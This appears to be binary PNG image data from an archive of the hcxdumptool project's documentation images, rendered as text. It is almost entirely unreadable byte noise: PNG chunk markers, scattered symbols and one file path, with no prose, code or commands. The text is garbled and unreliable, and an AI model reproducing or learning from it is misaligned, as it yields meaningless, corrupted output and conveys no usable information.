ee:]=%!Y~!gK0E?Se%- Եߏ誰&Sm}+O[0U[D WiuÁS8BK)kzbO!K!>_li5VT6UT i iE}?*ZY汥Dֶy<O;D!/i;VP69pٶ-ŮL'-]]#pp&WrB E?,ӧ^\ QZZ"451:ӇIW<{4DvMc=;/!KR[fUhqhMպǏWLRkS "K:y:ϕUrJ4yu6ߏ6'=M/O"Ǡ5UC\k H9Zbp)%QLr k$~ >FDUZ1ޣ IDATYs=}ГsقO;֔6v#qxg=:3팼 rudf7ne`Za7çw7}&'y}W#0}?06Bm[Fㄍetg>_tt2ҥD} ShiEoȒ/rb2"E;@kf\_xmA‰֣c;^vʧ*:p{O_qy)."َY-Q ;x̝I]*}$v4aK3jmm+su{r#!vzo=KrOO5y*"«Zeݼ߅HP(?_ag"CW K쭃 hfo@4f]F ݀#8 C 4 +U4=pζӕޛCfmw(x7cK[o̸U" ֠9]9eBk/;v6ҁgQ|%Cc=_ZLMܜpܿu#<ٻ󸚳ǏE!i!~C233 c,_0c0c cO%RBHH{н-˼4{>cޝ5BkW#w/`qiJط(.v1*(m9u(phB +bUt鵝;j׳fq(,_Zv2 ~ [Jݺ4.^W}/he+ﻔ ٱuO#x9{ w۠j !0ZE:`LVmz,O9mr#!2fCWO'wO>eRWiKv-MB蹍}v6nAxbړBO,79vi껻jЦI:{:{֚x8]U[נYFc-q&TPC쁆֎N+^9:.FyT O="!`tXںcç<=lךqc\oFPZlY)y*5I%CrtUV6\NB|`Ų׶{}BS6M]1r{wCeEBBJȕ{.ޱF͙tӞk~Ě:tcx͑k_;Tl*2|uFFAXpخJd;{[9)1Q~aRBiE%k;/GFv5pʨv9k3.mlתsɳ9ˮWҸ5Wug:?sCښTvpJ]B!VگmGV4S-$#Fђk~h/zB'\OrU =j^1ףb[5MBU%ĩm>l^_ȸԏcRPF+zԿ:,.v]OLmj,(\cy$z~a(A)%'LV8>谎ml vt:54,J-1uqCfÃ*o__;DV0`qlͺʛZ@'}ڨoX2rY~4`cOm[%bZZTQM:FE {W՝|OP'^4}ʴ{gW+&)``'g&syy^A+;|w!o6Ȋ9GB!$-n,f%ݾav\r6k.iqT[, U nC2 {#Tפ+d[.τD_ fFң|wO~E1ǥ=oA3czWs$[&...V;Ih8C5BJxc^tUk. U;m|ݽH|_go7ۍ ;@|9pFKIw0^Bȶ>t3(%=#S\}U}x*J94lο nϪ(pԠ Bι=[ywmʂY`rN]=bږ'i^c`ӗ^wRkܼLs/01Ky"h*A?,*PBPujXwȼE'j9p ,ѩ,v=yKNť[:>)y]>k׾ut6B!lxڰ#nmJBCGC31M+|eNB!x ஈkNȢ^*?˞v?g9us׾;}վan^E/_뷌maJg9k..9Uޱ}B]>bNGN ZNmc#jv-;\rdέ^.wP\x]Zg9Rs7d=-=3mo)°j1[q.ڵ>4M6>۵۸iO $ CzشW3cz9w\) B֙rN?m٥',ox]]_5huK|==kM<6`4JܢcR:(DY*ga'?0ٳU[8~,R~m^}Z6zlԾJU-k %5o*5I%۸rtUV6\NB|`Ų׶{}BO5M]1rXzuҕ=YWΥB6PJGTB9gϱJ}Y,Dh٢ţԩʖz-Ҩl+q,Bg_8c32ϿLeOj-ɲR)OYYƢrӵ(A aRɟQQwj6^V6m_yM; gR;/_lԠzdE&n_|ypXš"!!A%=|]mXnL_iϵDy?b {:1ȵ?/{V65?wTwbm_JuYFJVIw_jT1z:5mlתsɳ9ˮWҸXug:?sCښTvpJ]B!VگmGV4S-$#Fђk~h/zB'\OrU =j^#?jz{9$S'*;z_-[cF6BEܛ+ zT{˺fitXҋ3Y픓6XPNy;C*{!g3Ϯ7:c[3[ßN 4umR nLzb0J'?{Q0`qlMʛZ@'}ڨoX2rY~4`cOm[%bZB5UrTxGS~gcjNwѹޕ}uz>S3Tx|>~/HQ !MdҰ9avƃe??!k:a7T;߸]9%-nle%ݾav\r6Uy'7Z?4Tפ+d[.τ0`ZQM߱W /0 LG ;3qZz$[&...Vb;Ih8C5BJ<󖩣Y(v:zWA>Cent?u5(ModmF*?>x[Gpn 4@'ީZˁ3zXJ'9 gdjPk*/-n'u#Utuo`\ΐ}"Ii'%_\dZgUZ]7Zptä%QE( !\}U}sr8S)Ɵ6MY#B>{Y}TBh`tp`GmkT~3A f{9AɄ]t;uJt؟'.xu-xRK.='?x06 ӆ aP#oZ[땴M_oL{?urɌו^x^ݳZyG^W_H*iGN^KEqf!KvP !0l.TBh`C1'iblE(,=L۽cϭ "o}wW" k7kQ oy:m6=l{o6'YV&;y6{cQUgEYgjYy:6CEIH-U܏;ο6e,w0Q'1mKؓZܼLAsB5zIW&=]0rŏc;Zx5|o?"[r-Jw oGbhRe?o [Šx}.Ͽ2BVL_z-߻#f|?m:/?x Y KuUm:vcKnTp,>;& ]xz헉ե<4@~?TujXwȼE'j9p ,ѩ,v=yKNť[:>)y]>k׾ut 4%Ӛ}\vMY}w =r曎3-bj`-{D_ӪB66;+bڭz5KS= Btʎ3vXׂ#g2X.zݾ~U؟/2޳>[U$:ǍeZڗ̜z%80r^ZKVŪ*k;wծg-k)׫ձYUi6}wBNkiKah~Ù;. olfyjT-]9u(ph"NmcExޟeOWUimee$!W6{ʜa߮=Ƀ+~z_OnTӈ9ǜ:asoq>5BΟ~pkNKڑ]1!{*,- u;v-;\rdέ^.wP\x]Zgs"P] O}ߥdnȎ{Z{fۤUS!a*cjcyzi !1zx:{:Y~.*4z}O#\k}hBm7}Tkq Ӟh ܔ"#TN¸⣁ZHrˑ* k:pGҥeN&NX.a+tS۶]O;Z{²9\wo5voˁB+ W}n{\f rsnP%Gu\SFNv7j\˹ӇEErp/~6?6\<N ]Yz&%`HuD-E֎N+3 "Y6nhr쌆E齘 W%\vIuAdW,p:cNFf?-/M󩥝U?7>\HSklGvъ!wumK\y[SAaM F*ga'?0Ynj,WmHevvykMظQR7#(U_ԼxILْm [xt*+O.hl' N>b k=emmꊑWQtB|+Ѭavj7̸sl ϾWeWg}Zvq1)V~URb^+vLZzR_[:ĩuJ5Gng>tǡZUcHJm$ޭtT&x\}a IDATS?}edAO>U+]w΃u؎i&5~,!WR/zu&o{58(m+B(g.$/z\p&9v7SΈ ޴,8%*~iOm!=g<.kqBhlG>nčQʔwG*_p֝Dklx./fSmoA/c;sg.cUgef~'O2 (\`6%]w۪,e3RnRI, l_GRf xZ<։^ Y\Zo)R^*VdYR^Y1X{WW!RW=. [.^֎dfǒ~mÀti mJ$?ulea9G3Ɲn  W,48B(j6q3bQ"ڋ* *!WjnLP ״O6f5seS#^;sNeTu/AزF4khk32 ^_-W=޿ /^D W'&7_JTBVN tw1oZ/QHyfTdTM~,0iPjԩBuR}/,.J)dY}] ;U;/\ZBʡ,^>k\7@ZvҤV^v+R{7|wSEE^C~1'Z]6R_|á퇕\:a֥k%Mףb[5M[cF6BEܛWW'8sUcI2q<}h_iA?l0f|gh*W\{hߺ\ѠQHR4ҥ~2l\Hv˴rrSNiUs)xaf\L_3B(or⢉}Xlos>yE+o-3|Wz2 M󩭝l>iF3sIc;ؓ7il!KUm6yO+;CgbǶg?;:VrɥuK:ĸ?^?ѽk唓y+,}~ܶiRsۣ%#؟"+oYץۃ.ު-%*9*<_לܵ%_(6.ҴY!TW.k(Bxf7ԳrNIͪv/)_"k.6I*K[wϣZ)uI/O1?ߙ?)Z3Ӗ7až?o=6&˅*qWqv;ٚsnqˋI:)}/e yv~^Lrn|f\K{KUyzlתkYylv~+e՝[~Q߮n:`ٳKSFkyTw~3f?Qk{5ͧvT*BSqף:4g?^jm7{aӷdܷŭ1ІzTפ+d[.τM fF53X'}~ _5+w ɰLY)-Pߙ1=((wNenrR`/̒G(䟓ucYr|c?OJ:Y(v/%PCeջ@֍@72Vou@1`? 4@'ɴϚz9yL ^xl?lN7۷rRifs*JB!W0kU&.w]Np*9&?pxRh'vCS6/J >¡m9T~3A f{9AɄ]'܇?'G_5Y!ΓvīB6w3]?X5}ԥƆa2ɫqi_lUx^%;nph>_'E(:%:np Oզ[މ2UY!}w =r曎ygz(\;}g/N g^E/_뷌maG]*Sǯwń Ӧ*aߢPϻq|[#Y?P^ ޶،R<BDٮe'Wйի%cn]K\뾗tl2]x˭\ǽ=O%2ֵu/w:.^Q(r}ɲqCcgV"^0y6N=6 mܑtigs^4[k;6Rυ>=Av9[S[g3!Wh<|hF4j4!1zx:{:Y~.;ߕ3zwrtri唨?>B°s:m.ݧ=aY{RV )skSo_KSAaM``dnQݱb1U^,0wϟH,75naqX2;i;Oۼ&l{})/[AJj^JMy`RlI6JzI>0֞ݽjIۤ~}m鏀ǥFr*޺V,|ឺ}m'ѷ>-ɹߍ_svz ~AwUUcHJm$ޭN_6M]1r,WB"'-[/~u@VOcnҶRd緃:=rMhޡF{ W,5XQ5A;ս*QA{{36/ a"tbKE__ʦb˕{.ޱF͙tӞkOr404=YV0eꌌ,C#"ԪĄv{"I% M]'4ܺ RͧݤXzsR?|ظ.**Y[%݉'Fv5p of9khٮU+簓gsw?=yk4撪;Ĥ^VW3S8y;o*|ded!$>n.G\BHØQ ZBN{ؽN#6ֶ̧j!70Mn:sӾYZ #VG仆zT{˺f#; \XL:O_i#%Ob9QO?>^lr7W=zϘdX F/6WףaI/L)'wm>1-(t/LV8>谎ml vt:54,J-1uqCfÃ*o__;\Y0`qlMʛZکO;߶O2Ti7/5= U-iqT[, U nC2 ח,U >}9kV߼. >SVmf,ʘm_=p"a7T;߸]0l燍39،m;z~ʘ#crJ2O1v򓰩L6=6x'?e{zލzo㾸&Y4mqk^Vf%gS6J2o04XV$';fRK;$IuM>=/|ՐPU0SO}M2,SVJK}b¦ΌG\~}lť 9?ErőucYr|>oGb,Pg> z@]|BV)KUo?YUv@ֿ7}B>(*hN@t 4@':A hN@t 4@':A hN@t 4@'^C OSN^A1yj}8OS|o}7~Ei%͠t[}uɴϚz99suF nTxQq;YV7)A' _oL{?urɌוWѢ}NENݴWDy{{i\yB측W֯7K;_[Vc"OGٲYĢIYB>^y)T꫓CW)_JkKCgHzL^m=J:)|^eWՎ7{d9;qoxc6KFFne"R Oզ[މ2UY!zݾ~U؟/2}n-}⍻bB?U0l7揪.qvd[ۇ5wjCg~Qg;*w1pS"6|=$䚟٘ FmcfswE_uZFR%g1˧˯ɴf{+׆9t;oFVR_w)ghPjnyԾfžU[F^4T!N#A9ܙ'ju g!TV_7 ˧MU9)ŽBٻk>vsΆڦS!22 \}~{esjpv/{~~? ]?=rPК~Iqǫy,u+;ZߤTShgM@׳uq\9b9w~j~~^- uS[.NO޵NgRtr5p_=>.ڵ>4MaXg9nԶmgӎ֞Bb_.skG֬T\khG!W9[k;6B1{86iad,*rn^s &\rro^[on'=Q mܑti{y0ZE:`LVmz,O9mr#-1zx:{:Y~.N}͊yߥ W}n{\f r9A3w=FlŜ:{:Y{6}AyRV )skSo_iM󣡟ŽB!;iy|d/gn~T%m1c5/[xhO-$ CWNX;:[TwX31^ϣ֭Qfݯ8pCy5-*x=kXƕGG> ijMyy*(̡iۭmSWD'0O;&-=_)ԏ-[ԺI%YԦk7F=T*S.Yy1kN|p/CzBU: >kcw3ꌸM˂SB.?^6¸A6rauD۵Q0αG"3vT|`Ų׶{}ے"\jiJwɪmL~R]6u]wV$!S%>8zxL9B֫J-$!$}Eq Iy\!4g _Lm?Zgn}u }^e݉OhnEs G'sm,*7]{}^(ꢁ-l,ܸ-OS;B!Y٘ɓ k}!^?Lsbu75Ik'?ew-xbφoB5.^_ZD|lje."%)(}^CeEBhB>xNY9TE\I{>jةbyŹ>~* OIף{&|hzǪ y٩xKgM_< EE^C~1'Zȷ~N}͘ͺ2UY5d:{K5ߟ<çay ~C6JIDAT8w-T7n/<#WTn?u[y=!TEħ 9/Q^roYLB637UUd>T Ⱦ逑m,M[Kŝ}@~tj,I&NoW0Ϫؓ7il!Jb_Z]kZ($jSUڿHxu^yJpܣuJ9P픓6Ըǫ?%_g}@֟z>B׳m_{̥B[sW^]O(^oy󓰩LW=^ ܺIB(ol4!yG-k{9с2fW+'of̪Tw~3f?Qg澦N>p}RHUQ-gv/BwQ޶;uE3c=6z?Ud7Ҁ[mvoՖP[y~)P' `Ox^G5SB׳mU*BSqף:Ndܷŭ1NR]:jڨAݽS;ΓfM;B#&-U0SO-74γdXZJr]g﮺3aGƷ9t<^!wUC+"E}qN7Ma{ނ~gGJM\\\ ûOƵ'you:)9̻L<3tj$Jb\WBJ<#o|QIxK8fSONOf䞱U@QtUSB׺]Tƪ:<7x@t 4@':A hN !{+UlGKSN9S+xIuM>ɖ9?X!"""4@':A hN@t 4@':A dscC^0mK4zc  P@@ c&"ʹt;y'WWukwF8rt*ϻSp:5֯cGO:4ta ,{QEc/k|ujUzu^pFjvC \Пe0s4=l2mr#=tVŪ*k;wծgB/gT;CU^y~DRZwḬ9u(phM»Nmcsd{˺a]HS؃ ҷuYIsW3J{idz߾C-+}i?.ZQH;BkG's ^[ɒRFꇗzIhFhM68]{N+cOʔwu~ߏ=iKwk>WhiG!DMk>Xz ǠrbXnk^ʚHE@W@ vϖFf!\Gm|*Qj1Cn?L nuxfn$MV~Q~szE}1dݥXaթY:A !&*{'}~ YyM3BZBNKհS^Ⱦ}bg'V !l3tM׳Sw@KØQ Re[K};hޡF5wjbɮ=~ 䠕󥻍BHfw TZC;ϔi;'65.(횷z F',iBh@6m9|j+u3ғ%J9mzH7S~=7÷M*7>̎K.y'7и\~YD(O y?ݓT}5-s7)X!""""} !E hN@t 4@':A hN@t 4@':A hN@t 4@':A hN@޽||9%9omb͈9ئf㎱2vDs,DΕCYLJQ|ޟ h^@ 4@/zA h^@ 4@/zLh՘"ڠ~) 1GN_Wl SR~lk[H=q7KS26/^sdŰ-}cvHH>}n`Ê%6Cq9*"~JFؿ˫>jKO|^7oU'CFZHB:'$dG"]Z1hsGO.d~Ձc"<Ŷ|LgqE]^دOAsΟx}SPǔjgn}=o.M-T¨__6}3<UU\IqD-{h3z?&X?^Wz t9wR7$٨% 7x;o?i]UUG'^= ㅝ ݽYufM˦׿ȵa\q{o1jT'}G Ko,[a}Wu[YdH76x`FE'B#㋄շ'vLPl8dWNusÜ<6N3Ϫ|s#o߽|,y+ ޼Bm񈳙)wEL%kh.+YlpGiرIa s+64[笛x*Na^Zf"T Cd!+{z U^(e&aOu]#T#ԗ-8o>z!"BDO~/i u^cv6SRʣYmJMm#FxIq^iȠUToއ)B<]ڱG_e7:hKLM+&(y0x9Ȗ0uPzr `_&3n㢙fMM[;ɱo^_^mzZBMEΫEŒj4jWOH!= 3>^@B}:R-6?jܭ!KB[#Mu3BQU:(i!a-DL[;juͫIJLr5^Dr`uc{UbEHƎ~rtm':WiNS !6Jl9ڙ_&<_"({3/3*-_N|]KAzpެ%1޵%^ ²! :OW|~X1;ݤ^&loRfٝ5y⇔;rd uŴumP7̵̭9Dς4wTme]\ɩ ^+}eTz푵"~?8~Ϭ5z"}z1)Z&v4@/zA h^@jBT]$D~~żHKK+--}RZZV񧪱3 PWhrrr EMII)..R-v[ojwM ^q(P$''zWbYvӲ|3zB h^@ 4@/zA h^'jd#RB}A;ՃjK FZmn|TDYyZVPF] ~1csR̓7섘#+e!\H Fދa[ݱ7ᓾj>D=aH-jE/د/rFY6zh_:{4,[ucҩN..Bb{}_5XsK,$!l=2+~h}Ȑ&BuK܆9=qfJv?㻺 BETQ1dr$PήÇ~bio_5k*]6w-G-5wvlԒ췟4NBZx}q]z>{kߵ:,iNלw@˞::Z &}9K[sq ZyS ڒxmMean੄;yil'0'$!Oͽtw߿bE)JaT?[KF(W6iZFJ֍tnkkiTz"42HcvA)[f]d_:7)lJ֡u.Q:vlRp%{[#o߽|,y+B̩EJR}6Y$\s 7|ޟ(N?E\z!`ûtv6SRkڔᶍdcgoyGʖv \7T6EC!&aO]ݹ^}?uI8r{oI\?֫!ڱ/&-rXB1B(%{"BQz)1λ{ ["@)HtJhisUZt dɨi&>Ϩnbt9%YWb Y5@d4y!$u]o_m7u;ARz+]5q_jM.ߤ;okR8:Xza;.(j snzx7j(]ՙ L0,gy˔dLw4%R$AkC06ޣ^3r8LLbZtYŵϟ ի/z5y>`uzYfV^&tdMϷJB}|̈́_M1~Gx1I]L[v:GpW"4@/zA h^@ 4@/nHDҝ\IENDB`hcxdumptool-6.3.5/docs/example-pic-3.png000066400000000000000000004113151471436103500201060ustar00rootroot00000000000000PNG  IHDR`S"bKGD IDATxg\Gٽ;(X b 5j0Qy4؍`I챋-DT *+(UAw_$s{33{VZytۄ4(@B 4(@B 4(KWiZ (++4M4!aaKJJAC@TTT>Ix<OIIR\\[yyFFFrG hiiG`***BP(J@IQ$S0LYYJ,'JJJ'OׯònZZZ*UP+ >^[[;'''667..KK`%iW@{zz?L]]ΎݸqCfϞ=w\+++uuunee5p@mm(et倦i--- B KdTV$444T__رbkٲ޽{z%y3gΰaÊahhB[[[wwwe9k20 ǫ~&*(kXի4hPs׬Y啝-C$c ##}+++~ٳg_ y|gR"/_^}"]~+V_e(hڵk)>|I&MTβlvvΝ;=<<^z+YMJJJ 3~ Èn+D++Ǐϝ;|ɳ׊+,--e+jժu|  kٲnNNNLLg϶oneeǠkGuttIvvK[߲e۷o9<)UP[ܾ}[dpĉ1M69+& ȜCQQb|%J tww߻w$H9v'Nܸqczz|s s˲(322<Ә>_^=uuu1effn߾];| O<{}˲BPYYY啕D" ޒ_TTIQVVVVV&$٧eټbX hNB<ު$氢"KUiZ (++4M4!aaKJJ{x@@B_mBhP@!@hP@!@ VKj ӄRhU[BQF4()))khhB޾}^\\\* %%%+++>"\N55G` ǣ;Pt1*C6_ /ߴ[H@Auk |Q|u׊t1;Hq.RX~Q012,;Fi}~$m9baKI4' 8_i Utm̟0ƕr|>ظѪ&mh4h1=,x5[~;}.ǟZQ }aR2/ܹg^8F]Oie^2{W .޺}Vvܥ[Rl ۯr;{?HttĦ=:^jsGdC\ k"y=,F|Ip5[VdߏïOU#i̟}(yCL"b5=26S%=V+$nyBNJKKSxSMo|:8λjI kQj4xS;>ar'eq6]vsW a^lsfɤ4m?w3id᷽ ~-zt,Rծ¡eωk_ٳO_R_OJ ?Ȑ֫_Y53l JrlPrH>_b'bӇ@$eoZ=&d咷oſ6v|/\@Bȁ Ӧ!ʽV8:ƲqoE!f$GEnż P.}ߋ K ܼ\ʪl:{>cz[w8"đ) hq̇RА/lEqO.>ne3aȰȰĕ]$n8/pPCY&Ut9˰8o֯"{ʸ *>/ ipfvFtzJ.;^wJl }k|b. =t̫Y_GlLv=q^s_c=SТ_J?Nkj'["E^qM7fXPZB=ug8ja>RXRdX+9KM!ms3/![PnN,tV82E۪<1q\"qykP!Kvբ8jR"֔!:"!(PjysI{-靺v]OWہ37f P=7seKUc$m:jn>sZUSw5VyߔAf]L/TSnPaz-,p^*)2Zo]/ݿa}7%D>?k=ιX qԟJC ӧm)[)R``ϣz8<|oAݫ#!І ٔV~UOieo0a)ۻϓ={R;Fi*Qۯ#Pf%w<W^abblժ)jֺ I*#v~uOYzOv=p&¡qeO~j>| ѻ2mX{Y }<B4a/YvׂIv\=/< Ң;k'ϱ+~(ݹ/.&Se1+]G|x~ֹWF:iOG$ASF(/$0QXs%3L޽ f*>TN[fxQP:Dxe=>!>kl]fI5[ST>tSrF DÊ_Jƣ^;]1<󧔔lQQQ6lEEEܱ7ʢ[CZqNt}r,MN1Vj:74I'+.]VmFt~;2iz]yڨo/KZU=g;wi۸$XYIryG}{N~hR?->YH#B>l yFzln2:u]<͙<^$Blţ飣뇝AX] qӻ\E0`UY~i7F.%ƖA}gz&LiD[RR"PV_Ut"[UC6`2_֫ܯ̄̔>~Dme߽o?r/'&##SǢIO+*&BReAu~GKl"Oo٪unjmܿL[GH.N;xtzJ^eLYgV'w2ż{vbT=*O9"nwGލ:igtkW= f2QQYIӔ=\z`Q׬y3}]pa.@V@W+M_nlGq.@#.^ p¼MZ@h"|Ԭ〦<ǟgMnQyvnkӔrN<ڕg0І#kJQj2 >Rq<=#^IQ K(3ӺWDE4dOlyK%0haMU/]ZiPZ2lM 6sã6M]Ьn7?&!e\6]<͞Q;Y WN^X«ءT1~>wڴkWk*~ڕl{u2*&p/”)Fvm DFǽjӶeR\Lmjry%./e=kpmͣ-]4 9obIQ F;:}rV||YgWwA y؂=oLS{tUc3X]gszl+%$swM{ M&矸׿qfHƳNH! `ќcfj7N=yi,_.M8?CO|ٍ>'gxI?ݓ>8IΗ"ȿ$7/sX|$|0/]#g$K ?'&Пy_!/>^:_9P2oV]U4EӳG)qpStJ^<},%5a\' cslq&֘}~v۴Y!΋kaRvZ;K.x~vYgsX9ۇ( Ǹ>ilr{\:ä^a1>)8^@VT+5/] jO9dO)k֡r9!< ] Ud0 m5~A;uWAj_4DߌlO666"HHH(lQ|ITTlBB|Fok{оӉ>]j_lNR̅O޲-Ghy$~s~ZaIU:xmQuړb1Wj4xS;>ar'eY/zeοשfZ:6^υb P |*%[=ΦǞgl$ޤb"ο:qdJ;icG$8ph;mJ\>z}=/$8pxd;-3uiw+ ;F%E%Z&=xuIM%X}.ۇ(an̰5n3z{]p3),)2,%TM܂NMd?Un}GCcro_L}׻jDePiX}Su 2d1M! S7LԵCB!|{%S׎j;p̼BV\>6_0}nJ,S-/XdlFmpϺڡCs.Tq&^FQ?>8}VyTcO߸̇YuImhސMIz)n/cئ5ТYLp!к,rM^]\G|xS wƕ}| .IN^5Դ}\l?yt_W |*̭UE((y"<ܲfݵhKY3¤-Mx6yF[^](]>X,.~)NWw9eS"a/әԯoNx lD\,#74m&Х%[XD!ow?]=UTMM"6NmǛ37O{lހVu(1M_=#b0GhbGi7Zv7)v7rXBS?}_ԋ7)ƶh_Ulܗ/58*U/ )-*Ĵhڳ,>"$ګEBo aom֯ylM zC-.$KW V޷V7m;{)OW 9a222uԥnhݭ aKUǣԗ4Igf:Rss{ !=LLDe !,!GR1md<{VQb\O> IDATO*342z*A4Xd;"}Ķ'iY)E&}V.}r}~U<=#^IQ K(3ӺΫ{.:|BR -.)|'nmuxqd.4(Bh -`owhqŷ 4z C/71Pͦp#]XkG.pT̄R/>BZU.bYDmO.Ҷ(J _}ׄnFH+KNS3zvϱdߏ-3%>scs\h6'=s w}^q/!Dȑ?!6=p2G‡^5rf@fك>&8|]S!):[GV-Ԙ1/x:y{rǑˑK^<},%p.3fuPͱ=~qT ;yt~d9G\{rE(?~i907y. [FROCWy[3#65u.x #7E1YEJ-&{ {Q?F lŹF !+6)KeІ=%VfyC ><-=#:ƆZ6q (|r–GM}*# >#jT #Ò]ξa)}ǃR"OGИ'nW-޾jUN9燚&[?ʏ|OD+ՖSȢ nMu ԐwljV.kva 9_ycKZ&~٧bgHhkqzϦ6HttĦ=xJѨKf߿w)V؁Z<҆[vHCkwad+TYOA+w&\ ?~I7* hH6}歎z5rUesb.\򖭩ŷgG4s&ZZBfoVJ5Uy&c6{X(d*Dg^Jkϥ̣c>1VlvU9ڳ=,FJ|d7su#,;c/>kDl<ذdy~׷o}|ʬg-_Fh_}.pg2DԸ*e‰z}CZ oM!V;oGWW߰A]ɔF`,Y{A۞Zɺѱ?H[~4-o^=,{N\Ϟ})fɤ4m?w3icܪr)s~ZaIEB-iJqF雧hл']-؏<˩7]j`*?ja_'Ņ_xT"*;u۞rc{=)$ՇͫBccP8JKKS!?E~:Z'liMZ;v2i;FLls~׼kdžm;;vk1z ۚUTSy|(:ńi5F(!9o j#ߨG_7y؜%J]Kش- [:󶪃,կA[~=-%#pC)|gt?>IE5> aG:0w2p [UJc;w1̐%]Ĭd=m/E?6h;c#Պ9jx_G1T}q8CZFB६RBTWr子/_1qyF,wȪsÜ%]q;S.}ߋ K ܼżc:/B'ϜLTeNZJ|"Lpb*% !okR&KaIaIׯD/qaPMz{l} &G3 Ur{|qteE`-J'NBTmo*7 >W_Hɶw8wp ٿ\m4_ܹmW+\Jئ3lی},(-!w:2t]}>f·aIa+#Lˌ{tCAmYo\NH+*K[? 6H;oW|=kFuB\!!wnݬy}:KVQyV|%iUy<_ \*a┛/ȴQ~|0?+ t섞O&?|ptu8qOsJ^ǟ޵ʁĤon3b!u*~=*]ĔZݷ_p}_ofz*"nxώքxnپ_q gtǮ{6R\lHu_ 'WRА/l'}\L>KbADgkCBgݼTyp=6MN݆]6uY=,yv{yg~6^j6{(t! Nd+dA4۴yp!lk>i*Qۯ(UےwX׾QkSBito]9xWJ:O=PmSl?76pKۙgQ6{ 7u}O-˝ܼki/[GW-):&Jʸq>ź6[&¡q-RnPaz-,p^/r]e/YvׂIv\=/\oB)?bЄ^e8w= kIԵcz!63.\ZEi׫˚yMYwwxX;pt1WOv:'M~oэdž+ڙr,vޮJ/ƙiB(=( BD)qol37TeSuT;LXrtoyw6Ő6qK7_~6r$$ǯJ#W2J*i4h6ÙߢMihxɍs6 Z]NT{>,9Ѐ÷G焎>]}A|KttyTg-4:w56O>7aĸAn_c5ZiX}տzl7Zo]/ݿa}7%!Uv]q_TuNn &7絚fGӒ;$0Y7ȩ)MT:?wWB¾}coEkfxQP:Dxe=>jQ9/W:k_(,xӴ+5r \*kfzfmZ gJUZiek$(** Mhgʠ gKg{'rURʼnxQ?k6vCN:<ƂG(z{P_H`bEB\?DmZwa~E7^36G_u͚&=װoi?5Cr3n9^՗ĄIģU^Bg= f?hܫk#˧#ťIi+w_MzY@-˕żcA"S#|* Js=C(w7]ln袟]63..)u žpNt(Nq_YL)l%CmoY1dߎ[m|R۴E}N5l%ik~ļ9q߮-GDy|}yRtaŝ߾@/BΘ3s+޲fp"Bȃ [{HmT ⅄U{c KFW?rq9>l"?&b\8]W 7|:ҘοnOgxW{+;M{ò,ͫx420YY9 GL!gDBW̓R:}}ᥐ*}߼,ݻj,fZY-}M+?yklb᝗K˧?Kv)PhBHY|=vm7I{n9o^03ջmSN$s>17Zwu愴ߏuȱ`3׮zIM}i`A}>Pstu{Y}QŴ.x߲UvjmܿX_Lf+Uz5MLL拝7oު|Xib֮l[d1wۏyX -))(+E>7ůo>">eXu a^ tlX&|חyC*a}z.ɴSZ*qK].!TYE*W6S4La \M/[AbUgU|eض{[nv!W>y)feeBᇣJy&&X6Ѩh,VZSGcͪqN!Ɲ%KvC%Zdߦ)09ٯL+fW"u+ϡOߺghdZ:JN|( {.?ulaߟ~|;jPY4/?rcфk|֏Ry^򺿋 ¤<Ķ&jj<֎P>b(~My낑!'#^W{3V"6v(§+l3@Ӳ-N&mڵu̵[+_]϶W'~GrL͸-Wmi]i҄PV}v\esW8VXwZJuڍ.vk8?Ħ6_URpaш;ng׮?m66M)4Σ]GqobIQ F;32R1s=j"§O:hS1py9)57|l]dP:g=TsŢ-߸.'å7xz/^O6aBj)B8ӥ !O6pJ"Rq/{{kvG [ro_)h1Y?@|TFi $8_MbL qcf\>bHكaong= "Rt5v+rf)PֵoiVN_݌Dyaߦ&皷oIѪZ*+ci 2 HK!OϘV;p$E籐=-uk#Տ5}?K|֏Rub//&6̉x)(lVͿԗ =΄&mԐR~=s.nNbb-4ՇE9ōC|g{>޺rW;'GZ߹u؂LGݵGdJѨK7u[aWeNdv~O>;|QeSADorj,z͛)0\f~!L3 ~V_v ;rȭͽ˝{ׅ|7-rH^;9KaY׿^8 t)uG&k%m4R&X{v{[Ww|sLC&y{r&sw=gX6/sYCu-0Bkȁ3]mqiz vq</f_sG8~ݸ!n=4ΥWi}g]=ylz7pݒn'|z4إ[[7/Z{B>%OZ.9m?<]wpQv'w%y%QiUT'<=F;! R4 ff31y.*GOvcO\qG'ou/}|֏ҖEnwqb\CR|6q h }͔g'(>$JY+&0:Vw4t5W䏳&_oSmiϯ_[}jn_x #7 IDATho~'zpXPcx|Okqiܞ+"hJ:"ׅ/[Wdhcc#򀄄|wU+} g/V1jԬ1V=Dɷ|D8yÒ[!?Q.mjAg=5`4Ǯj)~U"Ns8y22b"7N3mqm'`!w&Ֆէ-S~/\1џʗ6ar'e9~(o:C˟tY4!6qZ G52dgt/ou_.nZ|ҧKi3gBOYeuvː?x?zxy6xR9p1׫~}1^)ؾK_3C,*XJw_o(u-cӺwa럼 _\uפPp˜5<S[8/Jm0GҬmOt-h}RA*\"̻vұz/.O]s!Nc^z:WT8і<3),)2,%T||Eke~+zۘO!lȓg]~Vy@FvBčaϛB6; 89tBgkeBe4|̈́#Ò"Wll:{>*bGM7fXPZB=uĜ/ޤb"ο:qdJ;~47 9*(rG-Fp4]Vy?;vy^NOA";9~>{Ki&-k0&Fؓ4! #|`,۔}{PFҪ}u?wI2z=s*W[+cWj-!.eW}i'0uGB*xw=L]W"R0We .PpMT8;1Xc[Y9sPMnΟR*MLʭ%WrOP0Ơ׵ZsdvLLla]z'nV):Z"#}]JYM$DYLJAYY^Q"%UE 1yݿ0"cO 6n˼ 9b፵DA^y#m j6qߝ7aҚo6[~#GnOW a_q&g֤^eT=euMT:k6<^Ƃf,?8ÔC~=7ـ&vZe/(,&wpz3:6zxaԖy=-[&lrS׶.4dܾW'Pv쟩~q,u=Nd?1t9:n8h-^ϟ=,b"~[w+%.KZV".8q?N~Gi7mHgJ=(݄KGi ~\jMM}fdf(H.vcyAx/yN)aʆ#S=i\I8o llKR(֬ o%"QyP҉fJ(e6 gm c։B+SZRh% n!^ccv2Kq`5bj9"|!UHW l5%$_&8Wdqn߾݋g/oz_{ &.74(m稈'uY3ژ_}XKHyʋ}%}[Ga9E!n)>%SO!$GE&*^WI֙M\Qe|_x#8އż,.e54iRN9>phALON&2GM#<ɚlO3Db=E~Yf݉6ĕG/i^D]1BGx޻K[[ K=Aبةߺ3bx|#t{#NnlS]}?Og]/m0~G\NZj9 'B\["Ucl-T@&ZPΏQiyt`F]'.9#lt84T{YezΝ,m13ߓBImnS=wL_O#yBhهtO?#jKs*!}{wHtU,|'OiX"+|BxKŀd] E(Ւِɾ_l3FC/Z8-6%ৼK#ݶ 